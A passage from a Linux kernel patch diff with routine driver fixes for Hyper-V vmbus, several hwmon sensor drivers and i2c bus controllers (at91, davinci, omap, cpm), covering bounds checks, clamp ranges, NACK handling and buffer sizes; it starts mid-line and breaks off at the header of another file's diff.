b/drivers/hv/channel_mgmt.c index 21ef68934a20b..edf8995cb3b3c 100644 --- a/drivers/hv/channel_mgmt.c +++ b/drivers/hv/channel_mgmt.c @@ -648,7 +648,7 @@ int vmbus_request_offers(void) { struct vmbus_channel_message_header *msg; struct vmbus_channel_msginfo *msginfo; - int ret, t; + int ret; msginfo = kmalloc(sizeof(*msginfo) + sizeof(struct vmbus_channel_message_header), @@ -656,8 +656,6 @@ int vmbus_request_offers(void) if (!msginfo) return -ENOMEM; - init_completion(&msginfo->waitevent); - msg = (struct vmbus_channel_message_header *)msginfo->msg; msg->msgtype = CHANNELMSG_REQUESTOFFERS; @@ -671,14 +669,6 @@ int vmbus_request_offers(void) goto cleanup; } - t = wait_for_completion_timeout(&msginfo->waitevent, 5*HZ); - if (t == 0) { - ret = -ETIMEDOUT; - goto cleanup; - } - - - cleanup: kfree(msginfo); diff --git a/drivers/hv/connection.c b/drivers/hv/connection.c index b9f5d295cbec7..a3b5558087683 100644 --- a/drivers/hv/connection.c +++ b/drivers/hv/connection.c @@ -393,10 +393,21 @@ int vmbus_post_msg(void *buffer, size_t buflen) * insufficient resources. Retry the operation a couple of * times before giving up. */ - while (retries < 3) { - ret = hv_post_message(conn_id, 1, buffer, buflen); - if (ret != HV_STATUS_INSUFFICIENT_BUFFERS) + while (retries < 10) { + ret = hv_post_message(conn_id, 1, buffer, buflen); + + switch (ret) { + case HV_STATUS_INSUFFICIENT_BUFFERS: + ret = -ENOMEM; + case -ENOMEM: + break; + case HV_STATUS_SUCCESS: return ret; + default: + pr_err("hv_post_msg() failed; error code:%d\n", ret); + return -EINVAL; + } + retries++; msleep(100); } diff --git a/drivers/hv/hv_kvp.c b/drivers/hv/hv_kvp.c index ed50e9e83c61a..0e8c1ea4dd533 100644 --- a/drivers/hv/hv_kvp.c +++ b/drivers/hv/hv_kvp.c @@ -111,6 +111,15 @@ kvp_work_func(struct work_struct *dummy) kvp_respond_to_host(NULL, HV_E_FAIL); } +static void poll_channel(struct vmbus_channel *channel) +{ + unsigned long flags; + + spin_lock_irqsave(&channel->inbound_lock, flags); + hv_kvp_onchannelcallback(channel); + spin_unlock_irqrestore(&channel->inbound_lock, flags); +} + static int kvp_handle_handshake(struct hv_kvp_msg *msg) { int ret = 1; @@ -139,7 +148,7 @@ static int kvp_handle_handshake(struct hv_kvp_msg *msg) kvp_register(dm_reg_value); kvp_transaction.active = false; if (kvp_transaction.kvp_context) - hv_kvp_onchannelcallback(kvp_transaction.kvp_context); + poll_channel(kvp_transaction.kvp_context); } return ret; } @@ -552,6 +561,7 @@ kvp_respond_to_host(struct hv_kvp_msg *msg_to_host, int error) vmbus_sendpacket(channel, recv_buffer, buf_len, req_id, VM_PKT_DATA_INBAND, 0); + poll_channel(channel); } @@ -585,7 +595,7 @@ void hv_kvp_onchannelcallback(void *context) return; } - vmbus_recvpacket(channel, recv_buffer, PAGE_SIZE * 2, &recvlen, + vmbus_recvpacket(channel, recv_buffer, PAGE_SIZE * 4, &recvlen, &requestid); if (recvlen > 0) { diff --git a/drivers/hv/hv_util.c b/drivers/hv/hv_util.c index 2f561c5dfe249..64c778f7756f8 100644 --- a/drivers/hv/hv_util.c +++ b/drivers/hv/hv_util.c @@ -279,7 +279,7 @@ static int util_probe(struct hv_device *dev, (struct hv_util_service *)dev_id->driver_data; int ret; - srv->recv_buffer = kmalloc(PAGE_SIZE * 2, GFP_KERNEL); + srv->recv_buffer = kmalloc(PAGE_SIZE * 4, GFP_KERNEL); if (!srv->recv_buffer) return -ENOMEM; if (srv->util_init) { diff --git a/drivers/hv/vmbus_drv.c b/drivers/hv/vmbus_drv.c index 4004e54ef05da..80754e2d80869 100644 --- a/drivers/hv/vmbus_drv.c +++ b/drivers/hv/vmbus_drv.c @@ -32,6 +32,7 @@ #include #include #include +#include #include #include #include @@ -517,6 +518,39 @@ static void vmbus_flow_handler(unsigned int irq, struct irq_desc *desc) desc->action->handler(irq, desc->action->dev_id); } +#ifdef CONFIG_HOTPLUG_CPU +static int hyperv_cpu_disable(void) +{ + return -ENOSYS; +} + +static void hv_cpu_hotplug_quirk(bool vmbus_loaded) +{ + static void *previous_cpu_disable; + + /* + * Offlining a CPU when running on newer hypervisors (WS2012R2, Win8, + * ...) is not supported at this moment as channel interrupts are + * distributed across all of them. + */ + + if ((vmbus_proto_version == VERSION_WS2008) || + (vmbus_proto_version == VERSION_WIN7)) + return; + + if (vmbus_loaded) { + previous_cpu_disable = smp_ops.cpu_disable; + smp_ops.cpu_disable = hyperv_cpu_disable; + pr_notice("CPU offlining is not supported by hypervisor\n"); + } else if (previous_cpu_disable) + smp_ops.cpu_disable = previous_cpu_disable; +} +#else +static void hv_cpu_hotplug_quirk(bool vmbus_loaded) +{ +} +#endif + /* * vmbus_bus_init -Main vmbus driver initialization routine. * @@ -572,6 +606,7 @@ static int vmbus_bus_init(int irq) if (ret) goto err_irq; + hv_cpu_hotplug_quirk(true); vmbus_request_offers(); return 0; @@ -686,7 +721,7 @@ int vmbus_device_register(struct hv_device *child_device_obj) if (ret) pr_err("Unable to register child device\n"); else - pr_info("child device %s registered\n", + pr_debug("child device %s registered\n", dev_name(&child_device_obj->device)); return ret; @@ -698,14 +733,14 @@ int vmbus_device_register(struct hv_device *child_device_obj) */ void vmbus_device_unregister(struct hv_device *device_obj) { + pr_debug("child device %s unregistered\n", + dev_name(&device_obj->device)); + /* * Kick off the process of unregistering the device. * This will call vmbus_remove() and eventually vmbus_device_release() */ device_unregister(&device_obj->device); - - pr_info("child device %s unregistered\n", - dev_name(&device_obj->device)); } @@ -808,6 +843,7 @@ static void __exit vmbus_exit(void) bus_unregister(&hv_bus); hv_cleanup(); acpi_bus_unregister_driver(&vmbus_acpi_driver); + hv_cpu_hotplug_quirk(false); } diff --git a/drivers/hwmon/ads1015.c b/drivers/hwmon/ads1015.c index 2798246ad8147..3930a7e7a56d5 100644 --- a/drivers/hwmon/ads1015.c +++ b/drivers/hwmon/ads1015.c @@ -184,7 +184,7 @@ static int ads1015_get_channels_config_of(struct i2c_client *client) } channel = be32_to_cpup(property); - if (channel > ADS1015_CHANNELS) { + if (channel >= ADS1015_CHANNELS) { dev_err(&client->dev, "invalid channel index %d on %s\n", channel, node->full_name); @@ -198,6 +198,7 @@ static int ads1015_get_channels_config_of(struct i2c_client *client) dev_err(&client->dev, "invalid gain on %s\n", node->full_name); + return -EINVAL; } } @@ -208,6 +209,7 @@ static int ads1015_get_channels_config_of(struct i2c_client *client) dev_err(&client->dev, "invalid data_rate on %s\n", node->full_name); + return -EINVAL; } } diff --git a/drivers/hwmon/adt7470.c b/drivers/hwmon/adt7470.c index 58637355c1f66..79610bdf1d352 100644 --- a/drivers/hwmon/adt7470.c +++ b/drivers/hwmon/adt7470.c @@ -515,7 +515,7 @@ static ssize_t set_temp_min(struct device *dev, return -EINVAL; temp = DIV_ROUND_CLOSEST(temp, 1000); - temp = clamp_val(temp, 0, 255); + temp = clamp_val(temp, -128, 127); mutex_lock(&data->lock); data->temp_min[attr->index] = temp; @@ -549,7 +549,7 @@ static ssize_t set_temp_max(struct device *dev, return -EINVAL; temp = DIV_ROUND_CLOSEST(temp, 1000); - temp = clamp_val(temp, 0, 255); + temp = clamp_val(temp, -128, 127); mutex_lock(&data->lock); data->temp_max[attr->index] = temp; @@ -826,7 +826,7 @@ static ssize_t set_pwm_tmin(struct device *dev, return -EINVAL; temp = DIV_ROUND_CLOSEST(temp, 1000); - temp = clamp_val(temp, 0, 255); + temp = clamp_val(temp, -128, 127); mutex_lock(&data->lock); data->pwm_tmin[attr->index] = temp; diff --git a/drivers/hwmon/da9052-hwmon.c b/drivers/hwmon/da9052-hwmon.c index 960fac3fb1664..48044b044b7a6 100644 --- a/drivers/hwmon/da9052-hwmon.c +++ b/drivers/hwmon/da9052-hwmon.c @@ -194,7 +194,7 @@ static ssize_t da9052_hwmon_show_name(struct device *dev, struct device_attribute *devattr, char *buf) { - return sprintf(buf, "da9052-hwmon\n"); + return sprintf(buf, "da9052\n"); } static ssize_t show_label(struct device *dev, diff --git a/drivers/hwmon/da9055-hwmon.c b/drivers/hwmon/da9055-hwmon.c index 029ecabc4380d..1b275a2881d67 100644 --- a/drivers/hwmon/da9055-hwmon.c +++ b/drivers/hwmon/da9055-hwmon.c @@ -204,7 +204,7 @@ static ssize_t da9055_hwmon_show_name(struct device *dev, struct device_attribute *devattr, char *buf) { - return sprintf(buf, "da9055-hwmon\n"); + return sprintf(buf, "da9055\n"); } static ssize_t show_label(struct device *dev, diff --git a/drivers/hwmon/dme1737.c b/drivers/hwmon/dme1737.c index 4ae3fff13f449..bea0a344fab57 100644 --- a/drivers/hwmon/dme1737.c +++ b/drivers/hwmon/dme1737.c @@ -247,8 +247,8 @@ struct dme1737_data { u8 pwm_acz[3]; u8 pwm_freq[6]; u8 pwm_rr[2]; - u8 zone_low[3]; - u8 zone_abs[3]; + s8 zone_low[3]; + s8 zone_abs[3]; u8 zone_hyst[2]; u32 alarms; }; @@ -277,7 +277,7 @@ static inline int IN_FROM_REG(int reg, int nominal, int res) return (reg * nominal + (3 << (res - 3))) / (3 << (res - 2)); } -static inline int IN_TO_REG(int val, int nominal) +static inline int IN_TO_REG(long val, int nominal) { return clamp_val((val * 192 + nominal / 2) / nominal, 0, 255); } @@ -293,7 +293,7 @@ static inline int TEMP_FROM_REG(int reg, int res) return (reg * 1000) >> (res - 8); } -static inline int TEMP_TO_REG(int val) +static inline int TEMP_TO_REG(long val) { return clamp_val((val < 0 ? val - 500 : val + 500) / 1000, -128, 127); } @@ -308,7 +308,7 @@ static inline int TEMP_RANGE_FROM_REG(int reg) return TEMP_RANGE[(reg >> 4) & 0x0f]; } -static int TEMP_RANGE_TO_REG(int val, int reg) +static int TEMP_RANGE_TO_REG(long val, int reg) { int i; @@ -331,7 +331,7 @@ static inline int TEMP_HYST_FROM_REG(int reg, int ix) return (((ix == 1) ? reg : reg >> 4) & 0x0f) * 1000; } -static inline int TEMP_HYST_TO_REG(int val, int ix, int reg) +static inline int TEMP_HYST_TO_REG(long val, int ix, int reg) { int hyst = clamp_val((val + 500) / 1000, 0, 15); @@ -347,7 +347,7 @@ static inline int FAN_FROM_REG(int reg, int tpc) return (reg == 0 || reg == 0xffff) ? 0 : 90000 * 60 / reg; } -static inline int FAN_TO_REG(int val, int tpc) +static inline int FAN_TO_REG(long val, int tpc) { if (tpc) { return clamp_val(val / tpc, 0, 0xffff); @@ -379,7 +379,7 @@ static inline int FAN_TYPE_FROM_REG(int reg) return (edge > 0) ? 1 << (edge - 1) : 0; } -static inline int FAN_TYPE_TO_REG(int val, int reg) +static inline int FAN_TYPE_TO_REG(long val, int reg) { int edge = (val == 4) ? 3 : val; @@ -402,7 +402,7 @@ static int FAN_MAX_FROM_REG(int reg) return 1000 + i * 500; } -static int FAN_MAX_TO_REG(int val) +static int FAN_MAX_TO_REG(long val) { int i; @@ -460,7 +460,7 @@ static inline int PWM_ACZ_FROM_REG(int reg) return acz[(reg >> 5) & 0x07]; } -static inline int PWM_ACZ_TO_REG(int val, int reg) +static inline int PWM_ACZ_TO_REG(long val, int reg) { int acz = (val == 4) ? 2 : val - 1; @@ -476,7 +476,7 @@ static inline int PWM_FREQ_FROM_REG(int reg) return PWM_FREQ[reg & 0x0f]; } -static int PWM_FREQ_TO_REG(int val, int reg) +static int PWM_FREQ_TO_REG(long val, int reg) { int i; @@ -510,7 +510,7 @@ static inline int PWM_RR_FROM_REG(int reg, int ix) return (rr & 0x08) ? PWM_RR[rr & 0x07] : 0; } -static int PWM_RR_TO_REG(int val, int ix, int reg) +static int PWM_RR_TO_REG(long val, int ix, int reg) { int i; @@ -528,7 +528,7 @@ static inline int PWM_RR_EN_FROM_REG(int reg, int ix) return PWM_RR_FROM_REG(reg, ix) ? 1 : 0; } -static inline int PWM_RR_EN_TO_REG(int val, int ix, int reg) +static inline int PWM_RR_EN_TO_REG(long val, int ix, int reg) { int en = (ix == 1) ? 0x80 : 0x08; @@ -1481,13 +1481,16 @@ static ssize_t set_vrm(struct device *dev, struct device_attribute *attr, const char *buf, size_t count) { struct dme1737_data *data = dev_get_drvdata(dev); - long val; + unsigned long val; int err; - err = kstrtol(buf, 10, &val); + err = kstrtoul(buf, 10, &val); if (err) return err; + if (val > 255) + return -EINVAL; + data->vrm = val; return count; } diff --git a/drivers/hwmon/gpio-fan.c b/drivers/hwmon/gpio-fan.c index 3104149795c58..ce1d82762ba6a 100644 --- a/drivers/hwmon/gpio-fan.c +++ b/drivers/hwmon/gpio-fan.c @@ -172,7 +172,7 @@ static int get_fan_speed_index(struct gpio_fan_data *fan_data) return -EINVAL; } -static int rpm_to_speed_index(struct gpio_fan_data *fan_data, int rpm) +static int rpm_to_speed_index(struct gpio_fan_data *fan_data, unsigned long rpm) { struct gpio_fan_speed *speed = fan_data->speed; int i; diff --git a/drivers/hwmon/lm78.c b/drivers/hwmon/lm78.c index a2f3b4a365e4b..b879427e9a46e 100644 --- a/drivers/hwmon/lm78.c +++ b/drivers/hwmon/lm78.c @@ -108,7 +108,7 @@ static inline int FAN_FROM_REG(u8 val, int div) * TEMP: mC (-128C to +127C) * REG: 1C/bit, two's complement */ -static inline s8 TEMP_TO_REG(int val) +static inline s8 TEMP_TO_REG(long val) { int nval = clamp_val(val, -128000, 127000) ; return nval < 0 ? (nval - 500) / 1000 : (nval + 500) / 1000; diff --git a/drivers/hwmon/lm85.c b/drivers/hwmon/lm85.c index 3894c408fda3c..b9d6e7d0ba37c 100644 --- a/drivers/hwmon/lm85.c +++ b/drivers/hwmon/lm85.c @@ -158,7 +158,7 @@ static inline u16 FAN_TO_REG(unsigned long val) /* Temperature is reported in .001 degC increments */ #define TEMP_TO_REG(val) \ - clamp_val(SCALE(val, 1000, 1), -127, 127) + DIV_ROUND_CLOSEST(clamp_val((val), -127000, 127000), 1000) #define TEMPEXT_FROM_REG(val, ext) \ SCALE(((val) << 4) + (ext), 16, 1000) #define TEMP_FROM_REG(val) ((val) * 1000) @@ -192,7 +192,7 @@ static const int lm85_range_map[] = { 13300, 16000, 20000, 26600, 32000, 40000, 53300, 80000 }; -static int RANGE_TO_REG(int range) +static int RANGE_TO_REG(long range) { int i; @@ -214,7 +214,7 @@ static const int adm1027_freq_map[8] = { /* 1 Hz */ 11, 15, 22, 29, 35, 44, 59, 88 }; -static int FREQ_TO_REG(const int *map, int freq) +static int FREQ_TO_REG(const int *map, unsigned long freq) { int i; @@ -463,6 +463,9 @@ static ssize_t store_vrm_reg(struct device *dev, struct device_attribute *attr, if (err) return err; + if (val > 255) + return -EINVAL; + data->vrm = val; return count; } diff --git a/drivers/hwmon/max1111.c b/drivers/hwmon/max1111.c index eda077de8a9f7..f787f04a0d1a0 100644 --- a/drivers/hwmon/max1111.c +++ b/drivers/hwmon/max1111.c @@ -85,6 +85,9 @@ static struct max1111_data *the_max1111; int max1111_read_channel(int channel) { + if (!the_max1111 || !the_max1111->spi) + return -ENODEV; + return max1111_read(&the_max1111->spi->dev, channel); } EXPORT_SYMBOL(max1111_read_channel); @@ -260,6 +263,9 @@ static int max1111_remove(struct spi_device *spi) { struct max1111_data *data = spi_get_drvdata(spi); +#ifdef CONFIG_SHARPSL_PM + the_max1111 = NULL; +#endif hwmon_device_unregister(data->hwmon_dev); sysfs_remove_group(&spi->dev.kobj, &max1110_attr_group); sysfs_remove_group(&spi->dev.kobj, &max1111_attr_group); diff --git a/drivers/hwmon/mcp3021.c b/drivers/hwmon/mcp3021.c index eedb32292d6d3..f712cc785ef23 100644 --- a/drivers/hwmon/mcp3021.c +++ b/drivers/hwmon/mcp3021.c @@ -31,14 +31,11 @@ /* output format */ #define MCP3021_SAR_SHIFT 2 #define MCP3021_SAR_MASK 0x3ff - #define MCP3021_OUTPUT_RES 10 /* 10-bit resolution */ -#define MCP3021_OUTPUT_SCALE 4 #define MCP3221_SAR_SHIFT 0 #define MCP3221_SAR_MASK 0xfff #define MCP3221_OUTPUT_RES 12 /* 12-bit resolution */ -#define MCP3221_OUTPUT_SCALE 1 enum chips { mcp3021, @@ -54,7 +51,6 @@ struct mcp3021_data { u16 sar_shift; u16 sar_mask; u8 output_res; - u8 output_scale; }; static int mcp3021_read16(struct i2c_client *client) @@ -84,13 +80,7 @@ static int mcp3021_read16(struct i2c_client *client) static inline u16 volts_from_reg(struct mcp3021_data *data, u16 val) { - if (val == 0) - return 0; - - val = val * data->output_scale - data->output_scale / 2; - - return val * DIV_ROUND_CLOSEST(data->vdd, - (1 << data->output_res) * data->output_scale); + return DIV_ROUND_CLOSEST(data->vdd * val, 1 << data->output_res); } static ssize_t show_in_input(struct device *dev, struct device_attribute *attr, @@ -132,14 +122,12 @@ static int mcp3021_probe(struct i2c_client *client, data->sar_shift = MCP3021_SAR_SHIFT; data->sar_mask = MCP3021_SAR_MASK; data->output_res = MCP3021_OUTPUT_RES; - data->output_scale = MCP3021_OUTPUT_SCALE; break; case mcp3221: data->sar_shift = MCP3221_SAR_SHIFT; data->sar_mask = MCP3221_SAR_MASK; data->output_res = MCP3221_OUTPUT_RES; - data->output_scale = MCP3221_OUTPUT_SCALE; break; } diff --git a/drivers/hwmon/ntc_thermistor.c b/drivers/hwmon/ntc_thermistor.c index c64d3d497c502..d7bb12ad49456 100644 --- a/drivers/hwmon/ntc_thermistor.c +++ b/drivers/hwmon/ntc_thermistor.c @@ -181,8 +181,10 @@ static struct ntc_thermistor_platform_data * ntc_thermistor_parse_dt(struct platform_device *pdev) { struct iio_channel *chan; + enum iio_chan_type type; struct device_node *np = pdev->dev.of_node; struct ntc_thermistor_platform_data *pdata; + int ret; if (!np) return NULL; @@ -195,6 +197,13 @@ ntc_thermistor_parse_dt(struct platform_device *pdev) if (IS_ERR(chan)) return ERR_CAST(chan); + ret = iio_get_channel_type(chan, &type); + if (ret < 0) + return ERR_PTR(ret); + + if (type != IIO_VOLTAGE) + return ERR_PTR(-EINVAL); + if (of_property_read_u32(np, "pullup-uv", &pdata->pullup_uv)) return ERR_PTR(-ENODEV); if (of_property_read_u32(np, "pullup-ohm", &pdata->pullup_ohm)) diff --git a/drivers/hwmon/sis5595.c b/drivers/hwmon/sis5595.c index 72a889702f0dc..9ec7d2e2542cd 100644 --- a/drivers/hwmon/sis5595.c +++ b/drivers/hwmon/sis5595.c @@ -159,7 +159,7 @@ static inline int TEMP_FROM_REG(s8 val) { return val * 830 + 52120; } -static inline s8 TEMP_TO_REG(int val) +static inline s8 TEMP_TO_REG(long val) { int nval = clamp_val(val, -54120, 157530) ; return nval < 0 ? (nval - 5212 - 415) / 830 : (nval - 5212 + 415) / 830; diff --git a/drivers/hwmon/smsc47m192.c b/drivers/hwmon/smsc47m192.c index efee4c59239fc..34b9a601ad078 100644 --- a/drivers/hwmon/smsc47m192.c +++ b/drivers/hwmon/smsc47m192.c @@ -86,7 +86,7 @@ static inline u8 IN_TO_REG(unsigned long val, int n) */ static inline s8 TEMP_TO_REG(int val) { - return clamp_val(SCALE(val, 1, 1000), -128000, 127000); + return SCALE(clamp_val(val, -128000, 127000), 1, 1000); } static inline int TEMP_FROM_REG(s8 val) @@ -384,6 +384,8 @@ static ssize_t set_vrm(struct device *dev, struct device_attribute *attr, err = kstrtoul(buf, 10, &val); if (err) return err; + if (val > 255) + return -EINVAL; data->vrm = val; return count; diff --git a/drivers/i2c/busses/i2c-at91.c b/drivers/i2c/busses/i2c-at91.c index 6bb839b688be4..ceabcfeb587c6 100644 --- a/drivers/i2c/busses/i2c-at91.c +++ b/drivers/i2c/busses/i2c-at91.c @@ -63,6 +63,9 @@ #define AT91_TWI_UNRE 0x0080 /* Underrun Error */ #define AT91_TWI_NACK 0x0100 /* Not Acknowledged */ +#define AT91_TWI_INT_MASK \ + (AT91_TWI_TXCOMP | AT91_TWI_RXRDY | AT91_TWI_TXRDY | AT91_TWI_NACK) + #define AT91_TWI_IER 0x0024 /* Interrupt Enable Register */ #define AT91_TWI_IDR 0x0028 /* Interrupt Disable Register */ #define AT91_TWI_IMR 0x002c /* Interrupt Mask Register */ @@ -102,6 +105,7 @@ struct at91_twi_dev { unsigned twi_cwgr_reg; struct at91_twi_pdata *pdata; bool use_dma; + bool recv_len_abort; struct at91_twi_dma dma; }; @@ -117,13 +121,12 @@ static void at91_twi_write(struct at91_twi_dev *dev, unsigned reg, unsigned val) static void at91_disable_twi_interrupts(struct at91_twi_dev *dev) { - at91_twi_write(dev, AT91_TWI_IDR, - AT91_TWI_TXCOMP | AT91_TWI_RXRDY | AT91_TWI_TXRDY); + at91_twi_write(dev, AT91_TWI_IDR, AT91_TWI_INT_MASK); } static void at91_twi_irq_save(struct at91_twi_dev *dev) { - dev->imr = at91_twi_read(dev, AT91_TWI_IMR) & 0x7; + dev->imr = at91_twi_read(dev, AT91_TWI_IMR) & AT91_TWI_INT_MASK; at91_disable_twi_interrupts(dev); } @@ -211,8 +214,16 @@ static void at91_twi_write_data_dma_callback(void *data) struct at91_twi_dev *dev = (struct at91_twi_dev *)data; dma_unmap_single(dev->dev, sg_dma_address(&dev->dma.sg), - dev->buf_len, DMA_MEM_TO_DEV); + dev->buf_len, DMA_TO_DEVICE); + /* + * When this callback is called, THR/TX FIFO is likely not to be empty + * yet. So we have to wait for TXCOMP or NACK bits to be set into the + * Status Register to be sure that the STOP bit has been sent and the + * transfer is completed. The NACK interrupt has already been enabled, + * we just have to enable TXCOMP one. + */ + at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_TXCOMP); at91_twi_write(dev, AT91_TWI_CR, AT91_TWI_STOP); } @@ -268,12 +279,24 @@ static void at91_twi_read_next_byte(struct at91_twi_dev *dev) *dev->buf = at91_twi_read(dev, AT91_TWI_RHR) & 0xff; --dev->buf_len; + /* return if aborting, we only needed to read RHR to clear RXRDY*/ + if (dev->recv_len_abort) + return; + /* handle I2C_SMBUS_BLOCK_DATA */ if (unlikely(dev->msg->flags & I2C_M_RECV_LEN)) { - dev->msg->flags &= ~I2C_M_RECV_LEN; - dev->buf_len += *dev->buf; - dev->msg->len = dev->buf_len + 1; - dev_dbg(dev->dev, "received block length %d\n", dev->buf_len); + /* ensure length byte is a valid value */ + if (*dev->buf <= I2C_SMBUS_BLOCK_MAX && *dev->buf > 0) { + dev->msg->flags &= ~I2C_M_RECV_LEN; + dev->buf_len += *dev->buf; + dev->msg->len = dev->buf_len + 1; + dev_dbg(dev->dev, "received block length %d\n", + dev->buf_len); + } else { + /* abort and send the stop by reading one more byte */ + dev->recv_len_abort = true; + dev->buf_len = 1; + } } /* send stop if second but last byte has been read */ @@ -290,12 +313,12 @@ static void at91_twi_read_data_dma_callback(void *data) struct at91_twi_dev *dev = (struct at91_twi_dev *)data; dma_unmap_single(dev->dev, sg_dma_address(&dev->dma.sg), - dev->buf_len, DMA_DEV_TO_MEM); + dev->buf_len, DMA_FROM_DEVICE); /* The last two bytes have to be read without using dma */ dev->buf += dev->buf_len - 2; dev->buf_len = 2; - at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_RXRDY); + at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_RXRDY | AT91_TWI_TXCOMP); } static void at91_twi_read_data_dma(struct at91_twi_dev *dev) @@ -356,7 +379,7 @@ static irqreturn_t atmel_twi_interrupt(int irq, void *dev_id) /* catch error flags */ dev->transfer_status |= status; - if (irqstatus & AT91_TWI_TXCOMP) { + if (irqstatus & (AT91_TWI_TXCOMP | AT91_TWI_NACK)) { at91_disable_twi_interrupts(dev); complete(&dev->cmd_complete); } @@ -369,6 +392,34 @@ static int at91_do_twi_transfer(struct at91_twi_dev *dev) int ret; bool has_unre_flag = dev->pdata->has_unre_flag; + /* + * WARNING: the TXCOMP bit in the Status Register is NOT a clear on + * read flag but shows the state of the transmission at the time the + * Status Register is read. According to the programmer datasheet, + * TXCOMP is set when both holding register and internal shifter are + * empty and STOP condition has been sent. + * Consequently, we should enable NACK interrupt rather than TXCOMP to + * detect transmission failure. + * + * Besides, the TXCOMP bit is already set before the i2c transaction + * has been started. For read transactions, this bit is cleared when + * writing the START bit into the Control Register. So the + * corresponding interrupt can safely be enabled just after. + * However for write transactions managed by the CPU, we first write + * into THR, so TXCOMP is cleared. Then we can safely enable TXCOMP + * interrupt. If TXCOMP interrupt were enabled before writing into THR, + * the interrupt handler would be called immediately and the i2c command + * would be reported as completed. + * Also when a write transaction is managed by the DMA controller, + * enabling the TXCOMP interrupt in this function may lead to a race + * condition since we don't know whether the TXCOMP interrupt is enabled + * before or after the DMA has started to write into THR. So the TXCOMP + * interrupt is enabled later by at91_twi_write_data_dma_callback(). + * Immediately after in that DMA callback, we still need to send the + * STOP condition manually writing the corresponding bit into the + * Control Register. + */ + dev_dbg(dev->dev, "transfer: %s %d bytes.\n", (dev->msg->flags & I2C_M_RD) ? "read" : "write", dev->buf_len); @@ -399,31 +450,29 @@ static int at91_do_twi_transfer(struct at91_twi_dev *dev) * seems to be the best solution. */ if (dev->use_dma && (dev->buf_len > AT91_I2C_DMA_THRESHOLD)) { + at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_NACK); at91_twi_read_data_dma(dev); - /* - * It is important to enable TXCOMP irq here because - * doing it only when transferring the last two bytes - * will mask NACK errors since TXCOMP is set when a - * NACK occurs. - */ - at91_twi_write(dev, AT91_TWI_IER, - AT91_TWI_TXCOMP); - } else + } else { at91_twi_write(dev, AT91_TWI_IER, - AT91_TWI_TXCOMP | AT91_TWI_RXRDY); + AT91_TWI_TXCOMP | + AT91_TWI_NACK | + AT91_TWI_RXRDY); + } } else { if (dev->use_dma && (dev->buf_len > AT91_I2C_DMA_THRESHOLD)) { + at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_NACK); at91_twi_write_data_dma(dev); - at91_twi_write(dev, AT91_TWI_IER, AT91_TWI_TXCOMP); } else { at91_twi_write_next_byte(dev); at91_twi_write(dev, AT91_TWI_IER, - AT91_TWI_TXCOMP | AT91_TWI_TXRDY); + AT91_TWI_TXCOMP | + AT91_TWI_NACK | + AT91_TWI_TXRDY); } } - ret = wait_for_completion_interruptible_timeout(&dev->cmd_complete, - dev->adapter.timeout); + ret = wait_for_completion_timeout(&dev->cmd_complete, + dev->adapter.timeout); if (ret == 0) { dev_err(dev->dev, "controller timed out\n"); at91_init_twi_bus(dev); @@ -445,6 +494,12 @@ static int at91_do_twi_transfer(struct at91_twi_dev *dev) ret = -EIO; goto error; } + if (dev->recv_len_abort) { + dev_err(dev->dev, "invalid smbus block length recvd\n"); + ret = -EPROTO; + goto error; + } + dev_dbg(dev->dev, "transfer complete\n"); return 0; @@ -501,6 +556,7 @@ static int at91_twi_xfer(struct i2c_adapter *adap, struct i2c_msg *msg, int num) dev->buf_len = m_start->len; dev->buf = m_start->buf; dev->msg = m_start; + dev->recv_len_abort = false; ret = at91_do_twi_transfer(dev); diff --git a/drivers/i2c/busses/i2c-cpm.c b/drivers/i2c/busses/i2c-cpm.c index 3823623baa481..693e4ceb85ce8 100644 --- a/drivers/i2c/busses/i2c-cpm.c +++ b/drivers/i2c/busses/i2c-cpm.c @@ -120,8 +120,8 @@ struct cpm_i2c { cbd_t __iomem *rbase; u_char *txbuf[CPM_MAXBD]; u_char *rxbuf[CPM_MAXBD]; - u32 txdma[CPM_MAXBD]; - u32 rxdma[CPM_MAXBD]; + dma_addr_t txdma[CPM_MAXBD]; + dma_addr_t rxdma[CPM_MAXBD]; }; static irqreturn_t cpm_i2c_interrupt(int irq, void *dev_id) diff --git a/drivers/i2c/busses/i2c-davinci.c b/drivers/i2c/busses/i2c-davinci.c index cf20e06a88e18..09f29e92095ab 100644 --- a/drivers/i2c/busses/i2c-davinci.c +++ b/drivers/i2c/busses/i2c-davinci.c @@ -414,11 +414,9 @@ i2c_davinci_xfer_msg(struct i2c_adapter *adap, struct i2c_msg *msg, int stop) if (dev->cmd_err & DAVINCI_I2C_STR_NACK) { if (msg->flags & I2C_M_IGNORE_NAK) return msg->len; - if (stop) { - w = davinci_i2c_read_reg(dev, DAVINCI_I2C_MDR_REG); - w |= DAVINCI_I2C_MDR_STP; - davinci_i2c_write_reg(dev, DAVINCI_I2C_MDR_REG, w); - } + w = davinci_i2c_read_reg(dev, DAVINCI_I2C_MDR_REG); + w |= DAVINCI_I2C_MDR_STP; + davinci_i2c_write_reg(dev, DAVINCI_I2C_MDR_REG, w); return -EREMOTEIO; } return -EIO; diff --git a/drivers/i2c/busses/i2c-omap.c b/drivers/i2c/busses/i2c-omap.c index b06be8e3bb76e..7645924f9f8b3 100644 --- a/drivers/i2c/busses/i2c-omap.c +++ b/drivers/i2c/busses/i2c-omap.c @@ -928,14 +928,12 @@ omap_i2c_isr_thread(int this_irq, void *dev_id) if (stat & OMAP_I2C_STAT_NACK) { err |= OMAP_I2C_STAT_NACK; omap_i2c_ack_stat(dev, OMAP_I2C_STAT_NACK); - break; } if (stat & OMAP_I2C_STAT_AL) { dev_err(dev->dev, "Arbitration lost\n"); err |= OMAP_I2C_STAT_AL; omap_i2c_ack_stat(dev, OMAP_I2C_STAT_AL); - break; } /* @@ -960,11 +958,13 @@ omap_i2c_isr_thread(int this_irq, void *dev_id) if (dev->fifo_size) num_bytes = dev->buf_len; - omap_i2c_receive_data(dev, num_bytes, true); - - if (dev->errata & I2C_OMAP_ERRATA_I207) + if (dev->errata & I2C_OMAP_ERRATA_I207) { i2c_omap_errata_i207(dev, stat); + num_bytes = (omap_i2c_read_reg(dev, + OMAP_I2C_BUFSTAT_REG) >> 8) & 0x3F; + } + omap_i2c_receive_data(dev, num_bytes, true); omap_i2c_ack_stat(dev, OMAP_I2C_STAT_RDR); continue; } diff --git a/drivers/i2c/busses/i2c-rcar.c b/drivers/i2c/busses/i2c-rcar.c index 